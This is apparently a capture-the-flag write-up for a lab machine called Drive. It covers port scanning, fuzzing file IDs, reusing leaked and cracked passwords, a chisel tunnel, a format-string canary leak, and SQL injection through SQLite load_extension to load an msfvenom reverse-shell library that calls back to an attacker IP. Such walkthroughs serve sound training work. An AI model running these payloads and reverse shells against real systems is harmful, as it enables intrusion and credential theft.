$ nmap -p- --min-rate 3000 10.129.51.107
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-18 01:24 +08
Nmap scan report for 10.129.51.107
Host is up (0.0072s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
Did a detailed scan as well:
$ nmap -p 80,3000 -sC -sV --min-rate 3000 10.129.51.107
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-18 01:25 +08
Nmap scan report for 10.129.51.107
Host is up (0.0071s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I added that domain to the /etc/hosts file.
Web Enumeration -> User Password
The website advertised an online file management system called 'Doodle Drive'.
When I registered a new user and logged in, there was a dashboard and upload file functions available:
Viewing the dashboard shows a file left by the admin user:
When the file is viewed, the URL changes and there's a hint to use the 'Contact Us' feature.
The first thing I noticed was that this particular file used an ID of 100. Perhaps there are other files for other users on the machine with different IDs. To test this, I used wfuzz with the various directories.
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -u http://drive.htb/100/FUZZ
********************************************************* Wfuzz 3.1.0 - The Web Fuzzer *********************************************************Target:http://drive.htb/100/FUZZTotalrequests:220560=====================================================================IDResponseLinesWordCharsPayload=====================================================================000000629:3020L0W0Ch"updates"000000794:3020L0W0Ch"update"000001321:3020L0W0Ch"blocks"000002152:3010L0W0Ch"block"000002952:3020L0W0Ch"updated"
Out of all of these, only block and update worked. block redirected me back to the same page.
I noticed that there were quite a few directories for this group. Next, I wanted to check what other numbers were present. I first generated a word list using a simple for loop, then fed it to wfuzz. Found that using /FUZZ/block worked in detecting a few new files:
martin@drive:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:*
Earlier we saw that port 3000 was filtered, so I used chisel to forward that first.
# as martin./chiselclient10.10.14.17:5555R:3000:127.0.0.1:3000# as kalichiselserver-p5555--reverse
Visiting port 3000 reveals a Gitea instance:
There are some users, and martin is part of them again:
I could login with the same password of Xk4@KjyrYv8t194L! from earlier. Afterwards, I was able to view the repositories from the other user cris.
The db_backup.sh file was the most interesting, and it contained a password:
#!/bin/bashDB=$1date_str=$(date+'%d_%b')7za-p'H@ckThisP@ssW0rDIfY0uC@n:)'/var/www/backups/${date_str}_db_backup.sqlite3.7zdb.sqlite3cd/var/www/backups/ls-l--sort=t*.7z>backups_num.tmpbackups_num=$(catbackups_num.tmp|wc-l)if [[ $backups_num -gt10 ]]; then#backups is more than 10... deleting to oldest backuprm $(ls*.7z--sort=t--color=never|tail-1)#oldest backup deleted successfully!firmbackups_num.tmp
Seems that I have to grab all the backups and unzip them to find a password of some sorts. I transferred all the backups to my machine using scp, and extracted them using 7z. Afterwards, I used sqlite3 to enumerate the stuff within:
I first tried to crack the sha1 hashes. A but of googling reveals that this uses hashcat -m 124, so I could crack some of them:
$ cat sha_hashes | awk -F '|' {'print $2'} > db
$ hashcat -m 124 db /usr/share/wordlists/rockyou.txt
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
Using johnmayer7 allows us to su to tom.
Format String Vulnerability -> Stack Canary (unused)
The next part of this machine was glaringly obvious.
Some reverse engineering or pwn challenge is up next. First, I transferred this binary back to my machine via nc.
# as tomnc-w310.10.14.174444<doodleGrive-cli# as kalinc-l-p4444>doodleGrive-cli
I ran a checksec first to see what protections this thing had:
gdb-peda$ checksec
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
There's a stack canary, but oddly there's no ASLR enabled. Testing it with a huge input shows an error:
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter password for AAAAAAAAAAAAAAA:
Invalid username or password.
*** stack smashing detected ***: terminated
Aborted (core dumped)
Also, the binary prints out whatever username we give it, and I tested for format string vulnerabilities that would allow me to read the stack canary.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
tom
Enter password for tom:
^C
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
%x
Enter password for 10:
It worked! Using this, I can slowly read each byte of data.
The stack canary for Linux machines always ends with a null byte, so I first found out where was it along the stack. After some testing, it appears using %15$p prints out the stack canary consistently.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
%15$p
Enter password for 0x924e6ebdabc8dd00:
Ghidra -> SQL Injection
I took a pause here and used ghidra to disassemble the main function.
Firstly, I found the right username and password. The main_menu() function contains other options to be used:
Out of all of them, option 5 was the most interesting as it took user input and passed it to a command:
It might be possible to do SQL Injection from here, which makes sense as an intended method since the creator literally gave us the correct username and password to use, so it's likely that pwn is an unintended method.
I did some initial SQL Injection tests, and confirmed that it was possible due to syntax errors that were happening.
Now, I just needed to figure out what to do with the injection. There was one method on PayloadAllTheThings that showed using load_extension would execute a .dll file for Windows or .so file for Linux.
Now by default, this option is disabled, but for this machine it was enabled:
tom@drive:~$ sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> SELECT sqlite_compileoption_used('ENABLE_LOAD_EXTENSION');
1
This means that we should be able to load whatever .so files we want. Using this, we can generate a .so reverse shell using msfvenom:
$ msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=4444 -f elf-so -o a.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: a.so
Then, download this to the machine in the same directory as the binary. After some testing with the syntax, I was able to make the binary accept an argument from me:
Spaces and + characters cannot be used in the above, so I used char to type out the name of the .so file. The load_extension function needs to take in ./a as the input:
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,97))+"
Activating account for user '"+load_extension(char(46,47,97))+"'..